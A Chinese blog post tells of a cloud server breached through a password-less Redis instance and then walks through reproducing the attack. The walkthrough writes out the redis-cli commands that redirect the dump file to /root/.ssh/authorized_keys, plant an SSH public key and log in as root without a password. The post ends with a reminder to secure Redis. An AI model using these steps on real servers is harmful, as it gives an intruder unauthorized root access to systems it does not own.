服务器被黑,帮凶竟然是Redis

一、经过

就在昨天,我像往常一样连接到一台云服务器中的Redis进行学习,当我执行keys *查看所有键的时候,却发现返回了(empty array),也就是代表没有任何数据在Redis中,可是Redis我也并没有手动停止过(没配置过持久化,也就是重启后数据就会消失),也保证没有执行过flushdb清空数据,可数据怎么就没了呢?这让我很是好奇。

这没理由啊,后来在我的/usr/app目录下发现了一个readme.txt。
在这里插入图片描述
我记得我并没有创建过这个文件,于是通过vim打开他,此时我一脸小朋友问号。
在这里插入图片描述
让黑了???

这是我的第一反应,因为这个文件真的不是我创建的,但是我并没有相关经验去排查,一时间不知如何是好,但是要摸索啊。

仔细一想,要创建此文件,我知道的有三种办法,第一种,通过ssh连接到我的服务器,进入/usr/app,执行touch readme.txt,然后通过vim进行编辑,第二种,通过scp命令上传,第三种,通过第三方工具连接到我的服务器进行上传,如XFtp、FileZilla,但是这三种,都需要密码,但是我的密码也足够复杂,不太可能。

紧接着我通过last 命令查看最近用户的登录信息,结果发现,在前天晚上22:15确实有人登录过,也就是6月1日,共操作了18分钟,进行了不可描述的事情。

root@iZbp1brrrx37m2ijwcg751Z:~# last
root     pts/1        120.193.XX.XX  Wed Jun  3 09:11   still logged in
root     pts/1        120.193.XX.XX  Wed Jun  3 09:09 - 09:10  (00:00)
root     pts/2        120.193.XX.XX  Wed Jun  3 08:41 - 08:41  (00:00)
......

root     pts/0        101.206.XX.XX  Mon Jun  1 22:15 - 22:33  (00:18)

那他是怎么知道我密码的呢?于是又通过lastb命令查看登入系统失败用户的相关信息,但是从这个列表中并没有发现在6月1有尝试登录的用户。这就更好奇了,这是一次性把密码输对了?没道理啊。

接着我脑子有点蒙。

但是突然想到ssh还可以使用公钥进行登录,那在目录/root/.ssh/authorized_keys中必然有他生成的公钥信息,接着赶紧去查看了一下。

这一看不知道,看了就头皮发麻,确实存在一个,这样他就可以直接通过ssh root@XX.XX.XX.XX免密码登录,但是他是怎么把公钥放入到authorized_keys文件的呢?

牛!!!

二、原因

后来排查了我对外开发的端口,除了80端口,供Nginx使用,还有就是Redis的6379,Nginx也不太可能啊,莫非是Redis?

由于Redis我并没有设置密码,只要知道我服务器IP的人,都可以进行连接。那Redis有什么办法可以把他的公钥保存到authorized_keys文件中呢?这又是一个问题。

突然想到save命令,他可以生成一个文件,文件中是当前内存中的数据快照,并且,这个文件可以自定义名称,恩~~~有点眉目了。但是save后生成的文件路径并不在/root/.ssh下啊,并且Redis也没有命令可以移动文件,除非Redis可以指定生成的路径。

对,没错!!Redis当然可以指定生成的路径,当即就查看了下Redis的配置。

没想到头皮又一阵发麻,这两个配置确实被改过。

那是不是这样呢?首先入侵者通过连接到Redis,之后set key 公钥,接着通过config命令修改了dir和dbfilename的值,save命令保存后,通过ssh命令直接可以免密码登录,之后他分析了我常用的目录,发现/usr/app下有我经常上传的软件,通过touch、vim进行编辑txt,留下一句,我轻轻的来,又轻轻的走了,希望真的是轻轻的走了,没搞什么吧。

这一顿操作着实骚气。

三、实战演练

既然知道了作案手法,那就来验证一下,是不是这样。

  1. 服务器启动Redis
    首先服务器中的Redis得开启,并且对外开放6379这个端口。
  2. 入侵者连接Redis
    通过./redis-cli -h ip连接到Redis
  3. 配置dir和dbfilename
xx.xx.xx.xx:6379> config set dir /root/.ssh
OK
xx.xx.xx.xx:6379> config set dbfilename authorized_keys
OK
xx.xx.xx.xx:6379> flushdb

此时通过save命令即可在/root/.ssh下生成authorized_keys文件。

  1. 生成公钥
    可以通过ssh-keygen命令 生成,运行后连续三次回车即可。
root@hxl-PC:/home/HouXinLin/apps/redis# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/SWDhF8ONl1PPGkJSDx3YYdpiz5JTNks7vw7ecmeML0 root@hxl-PC
The key's randomart image is:
+---[RSA 2048]----+
|          o..=o**|
|         . =+oBOo|
|        . =+=+o.o|
|         = *= .  |
|        S +=+..  |
|           .*+.  |
|            .=.o.|
|              *o+|
|              oE |
+----[SHA256]-----+

之后在/root/.ssh/目录下就会生成两个文件id_rsa和id_rsa.pub,第一个是私钥,第二个是公钥。id_rsa.pub中的数据就是要保存在Redis中的数据。

root@hxl-PC:/home/HouXinLin/apps/redis# cd /root/.ssh/
root@hxl-PC:~/.ssh# ls
id_rsa	id_rsa.pub  known_hosts
root@hxl-PC:~/.ssh# 

但是此时还有最重要的一步,在id_rsa.pub文件中前面加两个空行!!!。
在这里插入图片描述
6. 利用Redis把公钥保存到authorized_keys中
由于公钥中包含空格,不可以直接使用set key 公钥进行设置,可以通过以下方式进行

root@hxl-PC:~/.ssh# cat id_rsa.pub | /home/HouXinLin/apps/redis/redis-6.0.4/src/./redis-cli -h ip -x set cer
OK

最后一步,保存。

xx.xx.xx.xx:6379> get cer
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcJFbioqs97WvFFoC3g1LECDII+IK6fWwSDQpr26itOSsnh6d2b4LDt66b6IU6EbbsXtTBuV/QrjdDFyFWPDlFSobDQNUW6K9iY47WqG37sR9XknYtXpTIniHazbH6prloa2qJpI/tHyoXnJi5gq8G3qCWtNrleVqaX0zDgWN+1mZlGmUc/FqhCWiGHeOWr01x7AFtp1UzYiJyMDQo4V1yHnXqE2JaJKwXU1jVwfYuS94qeB1Vcxn75dGQSroS3+h2UyvrArkE4WRF8JphQrvk6KtWNHN1VCKGQ57Unj67+jS/FQOV3CFygDMHZkEPJ1XHmMA0crXRo22TPYd6FOiN root@hxl-PC\n"
xx.xx.xx.xx:6379> save
OK
  1. ssh连接
    此时无需要密码,连接后可以”为所欲为“。
root@hxl-PC:~/.ssh# ssh ip
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

* MicroK8s gets a native Windows installer and command-line integration.

    https://ubuntu.com/blog/microk8s-installers-windows-and-macos

* Canonical Livepatch is available for installation.
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch

Welcome to Alibaba Cloud Elastic Compute Service !

root@iZbp1brrrx37m2ijwcg751Z:~# 

没想到服务器就这样被黑了吧?对外开发的东西一定要小心,不说了,改Redis密码去。

以上纯属虚构,如有雷同,纯属巧合。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值